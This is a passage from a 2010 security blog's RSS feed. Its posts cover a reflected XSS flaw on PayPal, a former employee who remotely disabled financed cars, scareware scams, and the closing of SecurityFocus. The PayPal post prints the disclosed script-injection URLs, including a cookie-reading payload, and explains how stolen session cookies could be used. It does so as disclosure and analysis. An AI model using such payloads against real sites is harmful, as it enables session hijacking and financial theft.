<li><a href="http://praetorianprefect.com/archives/2009/11/more-cofee-please-on-second-thought/">More COFEE Please, on Second Thought&hellip;</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/04/winpe-3-0-forensics/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>XSS Flaw on PayPal.com</title>
		<link>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 22:13:42 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[pci]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3582</guid>
		<description><![CDATA[Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg" alt="paypal_logo" title="paypal_logo" width="119" height="119" class="alignleft size-full wp-image-3584" /></a></p>

<p>Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.</p>

<p><i>Update: As of 7pm EST, it appears that a mitigation has been implemented for this vulnerability on the PayPal web site where all requests to /xclick/business redirect to the PayPal homepage.</i></p>

<p>An attacker able to trick a user with a valid Paypal session into clicking a crafted version of the link below  (wouldn&#8217;t be hard, think a link on an eBay auction listing or a phishing e-mail for example) could hijack the user&#8217;s session and initiate financial transactions on their behalf including money transfers. Alternatively this legitimate URL could be used to redirect the user to a spoofed PayPal web site designed to steal user credentials, which is a fairly common scam except in this case more effective as the user would see an actual PayPal URL to click on.</p>

<h3>Attack String</h3>

<p>The following string is provided as example in the Full Disclosure posting:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert("xss"); &lt;/script&gt;
</code></pre>

<p>Which in turn results in this:</p>

<p><div id="attachment_3586" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg" alt="Javascript injected as part of a name-value pair is reflected on the resulting web page." title="paypal_xss" width="750" height="780" class="size-full wp-image-3586" /></a><p class="wp-caption-text">Javascript injected as part of a name-value pair is reflected on the resulting web page.</p></div>
<br /></p>

<p>Of course where this works, this will just as easily work:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert(document.cookie); &lt;/script&gt;
</code></pre>

<p>Which dutifully reflects back wrapped in a header tag on the resulting page:</p>

<pre><code>&lt;div class="legacyErrors " id="page"&gt;
&lt;div id="header"&gt;&lt;h1&gt;&lt;script&gt; alert(document.cookie); &lt;/script&gt;&lt;/h1&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;div id="content"&gt;
&lt;div id="headline"&gt;
</code></pre>

<p>And finally which displays the user&#8217;s logged in session information:</p>

<p><div id="attachment_3587" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg" alt="The result of injecting alert(document.cookie) into the same page for a logged in PayPal user." title="paypal_cookie" width="750" height="101" class="size-full wp-image-3587" /></a><p class="wp-caption-text">The result of injecting alert(document.cookie) into the same page for a logged in PayPal user.</p></div>
<br /></p>

<p>Rather then displaying the cookies, the attacker would redirect the information to another web site, set them locally as his session, and begin to initiate transactions on the part of the user. This is only one example, since Javascript can be executed in the context of the PayPal web site, the attacker could write a script to do just about any action on the site that is possible using Javascript, Flash, etc.. Site redirects, iFrame injection, and even other injection flaws are possible on a web page that does not validate untrusted input.</p>

<h3>XSS at a High Level</h3>

<p>While the definition is ever expanding, XSS attacks are generally considered a type of injection problem where malicious input is injected into an otherwise trusted web page causing an unexpected behavior such as sending data to or from an unknown third party web site (cross site). Because the script is being run in the context of the trusted web site, it has access to cookies such as session tokens, as well as any other user information available within the security context of that web site. XSS vulnerabilities are somewhat common in web applications and will occur unfettered wherever untrusted input is not validated by the web application or encoded before output back to the user.</p>

<h3>PayPal</h3>

<p>The San Jose based company is owned by eBay and has more than 78 million customer accounts. As such the service is used to clear many of the transactions on the popular auction site. The service allows users to send money without needing to share financial information, a key enabler for sending and receiving money from third parties on the Internet. They are in some 190 markets around the world and can work with 19 different currencies.</p>

<p>In 2008 roughly $60 billion dollars moved through Paypal&#8217;s systems.</p>

<p>Paypal does make available additional authentication protection in the form of <a href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/Marketing_CommandDriven/securitycenter/PayPalSecurityKey-outside">a one time password token</a> called a &#8217;security key&#8217; by them (similar to the ones made popular by RSA). The token costs five dollars and is available to residents of Australia, Germany, Canada, the United Kingdom and the United States. Paypal however allows a bypass of this hard token by allowing the user to enter further information such as credit card or bank number, severely impacting its effectiveness as a security measure.</p>

<p>Further authentication &#8220;on the front door&#8221; of the web site (the login screen) does not prevent a user session from being hijacked after authentication as is possible in a cross site scripting attack like this one.</p>

<h3>PCI Compliance</h3>

<p>Of note is that PayPal does claim PCI compliance, involving the following activities <a href="https://www.paypal.com/pcicompliance">in their words</a>:</p>

<ul>
<li>Maintain a vulnerability management program</li>
<li>Pass quarterly remove vulnerability scans</li>
</ul>

<p>The wording on that second bullet from the PayPal site is a little strange, we assume it means to pass vulnerability scans that validate whether earlier problems identified by previous scans were removed.</p>

<p>The attack string above is basic enough that it would or should be tested and picked up as a vulnerability by the most rudimentary web scanners available, throwing the validity of any scanning being done into question. Actual credit card data is displayed in an obfusticated manner on the Profile section of the web site (only the last four digits show up on the site), so the site may be considered out of scope of a PCI required scan?</p>

<p>The digital certificate of the scanalert.com URL, a redirect to the McAfee service PayPal provides to its business customers at no cost for a year, has a bad digital certificate.</p>

<h3>Finally</h3>

<p>Generally users can apply for refunds from PayPal when an account has been broken into, but like any other service there are <a href="http://www.paypalsucks.com">a share of horror stories</a>. In general a site such as this should <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">escape all output</a> that originates from untrusted sources, with the variety of possible attack strings this is not full proof but is a significant mitigation against injection attacks. This is not PayPal&#8217;s first brush with this problem, <a href="http://www.channelregister.co.uk/2008/05/16/paypal_page_succumbs_to_xss/">last year a similar issue</a> was identified by Harry Sintonen. As PayPal is, for many users of eBay and other online services, the only payment game in town (the only one which a seller will use to collect payment) this type of issue needs to be corrected fairly quickly in a comprehensive manner (a site wide change to introduce web vulnerability scanning, escape all user provided input when outputted, and/or validation of all user provided input ideally).</p>

<h3>References</h3>

<ul>
<li><a href="http://seclists.org/fulldisclosure/2010/Mar/486">Full Disclosure &#8211; Paypal XSS Vulnerability</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Bad Password Management Will Stop You in Your Tracks</title>
		<link>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 01:37:49 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Access Control]]></category>
		<category><![CDATA[password management]]></category>
		<category><![CDATA[termination checklist]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3562</guid>
		<description><![CDATA[Refusing to maintain and follow a good termination checklist that walks through what access rights to decommission when someone leaves your company can put the brakes on your customers’ good will. Texas Auto Center in Austin Texas demonstrated the headaches that ensue when in February they left more than 80 customers who financed cars unable to get to school, work, and stuck with charges for towing and unnecessary repair work.

Originally diagnosed as mechanical failures in the cars, the problems stopped as soon as all the passwords for the WebTeckPlus system used by the firm were reset. A recently terminated employee, twenty year old Omar Ramos-Lopez, had used still active credentials to login to the web administration portal of the Auto Center’s payment incentive vendor and used it to disable vehicle starters or, according to police reports, have horns honk through the night.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/PT_System.jpg"><img class="alignleft size-thumbnail wp-image-3564" title="PT_System" src="http://praetorianprefect.com/wp-content/uploads/2010/03/PT_System-150x150.jpg" alt="PT_System" width="150" height="150" /></a></p>

<p>Refusing to maintain and follow a good termination checklist that walks through what access rights to decommission when someone leaves your company can put the brakes on your customers’ good will. Texas Auto Center in Austin Texas demonstrated the headaches that ensue when in February they left more than 80 customers who financed cars unable to get to school, work, and stuck with charges for towing and unnecessary repair work.</p>

<p>Originally diagnosed as mechanical failures in the cars, the problems stopped as soon as all the passwords for the WebTeckPlus system used by the firm were reset. A recently terminated employee, twenty year old Omar Ramos-Lopez, had used still active credentials to login to the web administration portal of the Auto Center’s payment incentive vendor and used it to disable vehicle starters or, according to police reports, have horns honk through the night.</p>

<p>In the case of Ramos, Texas Auto Center is claiming that his account was terminated when he was a part of a reduction in force last month, but that he used another employee’s account to access the system. Once in he began perusing the database of 1,100 Texas Auto Center customers with the device installed, first targeting specific customers but then going down the list corrupting records, setting off car horns, and disabling cars. When police obtained access logs from the vendor, Pay Technologies LLC, the Internet Protocol address of Ramos-Lopez’s AT&amp;T Internet service showed up.</p>

<p><div id="attachment_3565" class="wp-caption alignnone" style="width: 410px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/texas_auto_mall.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/texas_auto_mall.jpg" alt="The Texas Auto Mall in Austin, TX." title="texas_auto_mall" width="400" height="179" class="size-full wp-image-3565" /></a><p class="wp-caption-text">The Texas Auto Mall in Austin, TX.</p></div>
<br /></p>

<h3>Payment Incentive Systems</h3>

<p>The types of systems used to remotely disable the vehicles are largely designed to replace physical repossessions at so called subprime auto dealers. What started as somewhat clunky keypads that required vehicle operators to punch in five digit codes to get a vehicle to start, a code given to them when their car payment was made, has moved to more sophisticated remote technology. Devices such as these have been around for a little more than 15 years now. Their functionality falls into two categories, solutions that render the vehicle inoperative and those that allow for electronically locating the vehicle (GPS) for repossession.</p>

<p>The vendor in this case, Pay Technologies LLC in Cleveland, offers such services under the labels WebTeck and PayTeck GPS. Their model allows auto dealers to install a small device, a small black box, under the car’s dashboard. The device responds to commands relayed over a wireless pager network, commands that are sent via a web based dashboard maintained by Pay Technologies. Commands such as honking the car horn or disabling the car’s ignition are examples of what dealers are able to do. Note that a running car cannot be cut off however, for obvious safety reasons.</p>

<p>Proponents of these payment incentive systems state that without them, persons with severely damaged credit would not be able to finance the same type of car they are able to purchase with the assurances provided by these devices. In a 2005 article, one dealer is quoted as stating that his repossessions dropped from 45% to 15% and allowed him to make car sales to buyers who would normally be shut out of financing options.</p>

<p>Still, the devices make people uncomfortable. There is the threat of being stranded, although dealers are advised to only cut off starters early in the morning, to avoid that happening. Further there is the question about what happens in an emergency. In the case of Pay Technologies, a 24 hour grace period can be enabled, allowing the car to start, in the case of such emergency. Finally, the GPS tracking raises privacy concerns.</p>

<p>Despite these issues, court challenges to the devices have largely been unsuccessful when proper disclosure of the devices installation is made. In a 1999 filing against Mel Farr, a football HOF member and Detroit car auto dealer, a handful of customers sought to have the devices removed for being dangerous. The court sided with Farr.</p>

<h3>Information Security Considerations</h3>

<p>Looking at this from an information security perspective, a couple of problems come to light. First, while Ramos-Lopez’s account was disabled, where the dealership was aware that password sharing was going on, and that a reduction in force was taking place, the whole episode would have been avoided with a company-wide password reset following the terminations. That and working towards eliminating password sharing (prevent multiple logins from different IP’s, report on strange login activity) is a good practice.</p>

<p>On a more general note, in order to be effective, a good access management practice has a number of characteristics. Chief among these are that access rights should be reviewed in conjunction with business managers at some regular interval (quarterly or monthly, depending on your risk disposition), anytime someone undergoes a significant role transfer within a firm, and most importantly when someone leaves a firm. The management overhead of this process is made easier when the raw number of password authentication systems is limited through enabling technologies such as central authentication/authorization services or single sign on. To put it simply, users must track and protect less passwords, less passwords need to be changed in response to business events, and access control rights are easier to review when some consistency exists between installed applications across an enterprise.</p>

<h3>Also</h3>

<p>Perhaps a second relevant question for the information security community is why attacks on these systems haven’t happened more often. Crackers, despite reports that they have all moved to an all economic incentive approach, still perform acts of mischief. The web site administration for this system, a system that can be used to disable automobiles, is protected by <a href="https://ssl47.pair.com/payteck/webteckplus/index.php">a simple password authentication</a> that is open to brute force attack. The answer may simply be that the existence of this technology and how it worked was not well known. As Pay Technologies CEO Jim Krueger noted, this is the first time this technology has been abused. Now that its existence is more public, one can wager that it won’t be the last.</p>

<p>Also, Ramos-Lopez didn&#8217;t &#8216;hack&#8217; anything.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.wired.com/threatlevel/2010/03/hacker-bricks-cars/">Hacker Disables More Than 100 Cars Remotely</a></li>
<li><a href="http://www.texasautocenter.net/">Texas Auto Center</a></li>
<li><a href="http://www.payteck.cc">Pay Technologies</a></li>
<li><a href="http://www.usatoday.com/tech/news/techinnovations/2005-11-29-tech-repo-man_x.htm">High-tech &#8216;repo man&#8217; keeps car payments coming</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/bad-password-management-will-stop-you-in-your-tracks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Proliferation Of Scareware Hits Home</title>
		<link>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 02:14:46 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[scareware]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[rogue antivirus]]></category>
		<category><![CDATA[seo poisoning]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3572</guid>
		<description><![CDATA[The agitation in the voice on the phone shook me from sleep early Saturday morning: My Uncle the surgeon had a computer problem and he was concerned enough to call. He explained he had been trying to view pictures of a newly renovated base in South Korea when all of a sudden McAfee popped up and did a scan, revealing 28 viruses. But for some reason the new module McAfee wanted him to install wasn’t working because the site wouldn’t accept either of his credit card numbers.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/scareware2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/scareware2-150x150.jpg" alt="scareware2" title="scareware2" width="150" height="150" class="alignleft size-thumbnail wp-image-3575" /></a></p>

<p>The agitation in the voice on the phone shook me from sleep early Saturday morning: My Uncle the surgeon had a computer problem and he was concerned enough to call. He explained he had been trying to view pictures of a newly renovated base in South Korea when all of a sudden McAfee popped up and did a scan, revealing 28 viruses. But for some reason the new module McAfee wanted him to install wasn’t working because the site wouldn’t accept either of his credit card numbers.</p>

<p>Most security professionals don’t need any further information to know what happened and that it wasn’t the McAfee installation firing these apparent anti-virus (AV) alerts. Instead this was a web dialogue with animations masquerading as the Windows My Computer screen and an AV dialogue. Accepting the download lead to a malicious software installation and payment screen, a scam commonly referred to as scareware. Scareware is software sold or downloaded by creating a perception of a threat to the user, playing off that user’s fear and anxiety of viruses and spyware infecting his or her computer.The real McAfee <a href="http://newsroom.mcafee.com/article_display.cfm?article_id=3631">estimates</a> that worldwide scareware scams have raked in profits of more than $300 million annually, with a meteoric growth rate of 660% for infections over the past two years. The number of scareware product variants was about <a href="http://www.trustedsource.org/blog/393/Scareware-Poses-Danger-to-Consumers">142 in 2004</a>, there have been 110 new variants tracked in just the first two months of 2010.</p>

<p>The software, originally spread through classic methods such as spam, has moved on to more sophisticated attacks by providing links to infected web sites through popular social media content such as Twitter, YouTube, and <a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook</a>, by feeding a corrupted advertisement into an ad network for web sites, and by poisoning search results called Search Engine Optimization (SEO) poisoning.</p>

<p>This last attack, SEO poisoning, was what infected my Uncle: a web search was poisoned with results from compromised legitimate web sites. By creating content with popular terms and linking back to it from legitimate ranked sites, the rules search engines like Google use to prioritize results are subverted. The video below demonstrates the effect with search results that showed up the first page of Google results shortly after the earthquake in Haiti:</p>

<p><object width="400" height="310"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8748497&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=8748497&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="310"></embed></object>
<br /></p>

<p>This rogue anti-virus/spyware software is distributed through a complex network involving around fifty known companies at the top building and distributing software to affiliates who earn rewards for successful sales. The companies at the top of this scheme operate at times with such impunity that their executives are bold enough to have professional profiles on the <a href="http://www.trustedsource.org/blog/393/Scareware-Poses-Danger-to-Consumers">business networking site LinkedIn</a>.</p>

<p>In October of 2008 one of these networks was mapped out when a hacker named Neon broke into a computer housing accounting information for a Russian company called Bakasoftware. This company provided access to solicited affiliates through an online control panel providing varied methods of infecting computers. Affiliates could earn from <a href="http://www.secpoint.com/Bakasoftware-Russian-Scareware-Named-and-Shamed-By-Hacker.html">58% to 90% commission</a> on sales of the rogue software.</p>

<p><div id="attachment_3577" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/trafficconficker_lexuscontest_crop.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/trafficconficker_lexuscontest_crop-300x180.jpg" alt="The Lexus Contest." title="trafficconficker_lexuscontest_crop" width="300" height="180" class="size-medium wp-image-3577" /></a><p class="wp-caption-text">The Lexus Contest.</p></div>
<br /></p>

<p>At times creative bonuses are involved: one contest by a site called TrafficConverter.Biz offered <a href="http://lastwatchdog.com/scareware-attacks-spreading-twitter-google-legit/">a $36,000 Lexus</a> to the top affiliate. In 2008, the top five affiliates in the Russian Baka Software Gang averaged weekly commissions of $107,604 according to documentation found by researcher Joe Stewart. When the Federal Trade Commission obtained a court order to stop Belize’s Innovative Marketing from selling rogue software, the firm had made approximately $180 million dollars in a year through four million customers who purchased the software thinking it was real. There is probably no better metaphor though than the high end Mercedes sedan once displayed on scam web site iframeCASH.biz, known to be similar to the model driven by its founder and scareware pioneer, St. Petersburg’s Andrej Sporaw.</p>

<p><div id="attachment_3579" class="wp-caption alignright" style="width: 261px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/iframe_cash.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/iframe_cash.jpg" alt="iFrame Cash." title="iframe_cash" width="251" height="237" class="size-full wp-image-3579" /></a><p class="wp-caption-text">iFrame Cash.</p></div>
<br /></p>

<p>My Uncle was mildly embarrassed by the entire episode, but should not be, because the techniques used to propagate these scams have become so advanced that the educated and computer savvy among us are not immune. The software replicated the logos, the look and feel of the anti-virus he knew he had installed. The sophistication of these schemes has risen alongside the profit available to be made. He was under the impression of many Internet users: as long as he had his anti-virus software installed, kept Windows updated, didn’t open strange e-mails, and stayed away from strange web sites he would be safe using the Internet. When legitimate web sites are compromised with scripts launching fake AV dialogues, these rules do not apply. Such methods have led to an estimated one million victims of scareware per day worldwide.</p>

<p>Fortunately in my Uncle’s case he was able to cancel the credit cards involved and clean up the PC before experiencing any problems. Others have had their PC’s hijacked with the rogue software preventing updates to legitimate software, locking up the PC, preventing un-installation, installing malware, and generating a constant stream of pop ups in the web browser.</p>

<p>How do you avoid the scam? Remember that no legitimate anti-virus company will perform an unsolicited scan of your computer and ask for payment to correct issues identified. Close out of the browser when you see such a dialog come up. Run scans with your legitimate anti-virus and anti-spyware solutions on your PC (remember though that these installations are designed to work around anti-virus before you get too frustrated). Finally consult with a colleague who has experience in dealing with information security problems.</p>

<p>Information technology folks are usually willing to help, they know that when you work in technology you will always be your own family’s private help desk, a little like how the family doctor is always stuck giving everyone medical advice.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/01/scareware-purveyors-spammers-and-crooks-take-advantage-of-haiti-earthquake/">Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/the-proliferation-of-scareware-hits-home/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A Loss of SecurityFocus</title>
		<link>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:11:32 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[bugtraq]]></category>
		<category><![CDATA[securityfocus]]></category>
		<category><![CDATA[symantec]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3755</guid>
		<description><![CDATA[The announcement came out earlier today that SecurityFocus, a long standing security news portal started in 1999 and home of a number of popular mailing lists including the well known Bugtraq is being shuttered by Symantec. While aspects of the site will continue (the mailing lists will remain and some content will be moved to Symantec Connect), the loss of the news portal and site itself is a significant loss of historical perspective on the information security industry from what was a long standing news and research source.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/security_focus_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/security_focus_logo.jpg" alt="security_focus_logo" title="security_focus_logo" width="100" height="100" class="alignleft size-full wp-image-3757" /></a></p>

<p>The announcement came out earlier today that SecurityFocus, a long standing security news portal started in 1999 and home of a number of popular mailing lists including the well known Bugtraq is being shuttered by Symantec. While aspects of the site will continue (the mailing lists will remain and some content will be moved to Symantec Connect), the loss of the news portal and site itself is a significant loss of historical perspective on the information security industry from what was a long standing news and research source.</p>

<p>From the announcement:</p>

<p><i>
Beginning March 15, 2010 SecurityFocus will begin a transition of its content to Symantec Connect. As part of its continued commitment to the community, all of SecurityFocus’ mailing lists including Bugtraq and its Vulnerability Database will remain online at www.securityfocus.com There will not be any changes to any of the list charters or policies and the same teams who have moderated list traffic will continue to do so. The vulnerability database will continue to be updated and made available as it is currently. DeepSight and other security intelligence related offerings will remain unchanged while Infocus articles, whitepapers, and other SecurityFocus content will be available off of the main Symantec website in the coming months.
</i><br /> From: <a href="http://www.securityfocus.com/news/11582">Change in Focus</a></p>

<h3>SecurityFocus</h3>

<p><div id="attachment_3759" class="wp-caption alignleft" style="width: 290px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/securityfocus.com_.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/securityfocus.com_.jpg" alt="The SecurityFocus web site before the shift." title="securityfocus.com" width="280" height="210" class="size-full wp-image-3759" /></a><p class="wp-caption-text">The SecurityFocus web site before the shift.</p></div> 
<br /></p>

<p>SecurityFocus.com kicked off as an online computer security news source in 1999, founded by a couple of parties (Arthur Wong, Al Huger, Elias Levy, et al.). In the summer of 1999 the Bugtraq mail list was subsumed into SecurityFocus. In 2002 the site was acquired by Symantec, the well known anti-virus vendor, for <a href="http://www.symantec.com/press/2002/n020717.html">around $75 million</a> in cash.</p>

<h3>Bugtraq</h3>

<p>Bugtraq itself kicked off on November 5th, 1993, when Scott Chasin (Doc Holiday) started it as a response to perceived failure on the part of CERT to properly publish security warnings. Its founding policy was to publish vulnerabilities without regard to vendor response, an early salvo in the ongoing industry fight regarding full disclosure, or disclosing all known details of a security flaw.</p>

<p>The list was initially unmoderated but by the middle of 1995 was switched to moderated to cut down on the noise being generated. From 1996 to 2001 the list was moderated by Elias Levy (Aleph One), then turned over to David Ahmad, and finally <a href="http://www.securityfocus.com/archive/1/425940/30/1860/threaded">rests in the hands</a> as far as we know of David McKinney, a threat analyst at Symantec. The list was first hosted at Crimelab.com and moved to the NetSpace Project at Brown University when moderation began. In the summer of 1999, the list became part of SecurityFocus and thus in 2002 when SecurityFocus was acquired by Symantec it was part of that deal.</p>

<p>The philosophical underpinnings of full disclosure are complex, and <a href="http://www.wildernesscoast.org/bib/disclosure-by-date.html">long debated</a>, but the major pro argument is that once security vulnerabilities are well known, the vendors responsible for the vulnerable code correct the problem faster. A secondary argument is that having the full details allows the security practitioner who is paying attention to react with some form of mitigation to a complex issue. The con argument is of course that releasing such information allows the vulnerability to be exploited by a larger audience of attackers.</p>

<p>Elias Levy (Aleph One) from Venezuela, well known as the author of the seminal article <i><a href="http://www.phrack.org/issues.html?issue=49&amp;id=14#article">Smashing the Stack for Fun and Profit</a></i> in Phrack, moderated the list from 1996 to 2001. In his words: <i>&#8220;the environment at that time was such that vendors weren&#8217;t making any patches. So the focus was on how to fix software that companies weren&#8217;t fixing.&#8221;</i> Some might question the pace of progress over the past ten years, we do have Patch Tuesday and all that entails, and the environment has shifted in a somewhat positive way, but the issue of timely patching of security problems is still a front burner concern in information security.</p>

<p>Interestingly, when Symantec acquired SecurityFocus, and with it BugTraq, there were accusations that Levy had &#8217;sold out&#8217; on the original principles of the list. Partially in response to this, the <a href="http://lists.grok.org.uk/pipermail/full-disclosure/">Full-Disclosure mail list</a> was born.</p>

<h3>Finally</h3>

<p>SecurityFocus certainly lost whatever unbiased independence it had back in 2002, however that move (the Symantec buyout) also may have allowed it to keep going until now. The articles on the site were unusually complete (long for a security news site) making it possible to completely explain an idea, and some notably written by technically capable authors who could provide good commentary and insight into the issues they were presenting. The loss of this information, from a history of the security industry perspective, is unfortunate, because if there is an industry that does not always effectively carry forward and build upon lessons learned, it is this one.</p>

<p>Or as Santayana put it: &#8220;Those who do not learn from history are doomed to repeat it”.</p>

<p>Further there are not too many sources that have picked up the security news mantle effectively. Churnalism sites that offer a morsel of new information wrapped in an awkward product pitch presented as news aren&#8217;t going to cut it. Blogs, corporate ones, are heavily censored as their raison d&#8217;etre is marketing. And many independent blogs place value on brevity, a positive at times but not when it doesn&#8217;t allow an idea to be fully fleshed out.</p>

<p>So we&#8217;re left with the thought that someone, somewhere, needs to fire up the next SecurityFocus.</p>

<h3>References</h3>

<ul>
<li><a href="http://en.wikipedia.org/wiki/Bugtraq">Wikipedia: Bugtraq</a></li>
<li><a href="http://www.securityfocus.com/archive">Mailing Lists &#8211; Security Focus</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/">Asian Men Prefer LIGATT</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>IEPeers &#8211; A New Internet Explorer Zero Day Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 23:01:30 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Remote Exploit]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[drive by download]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3511</guid>
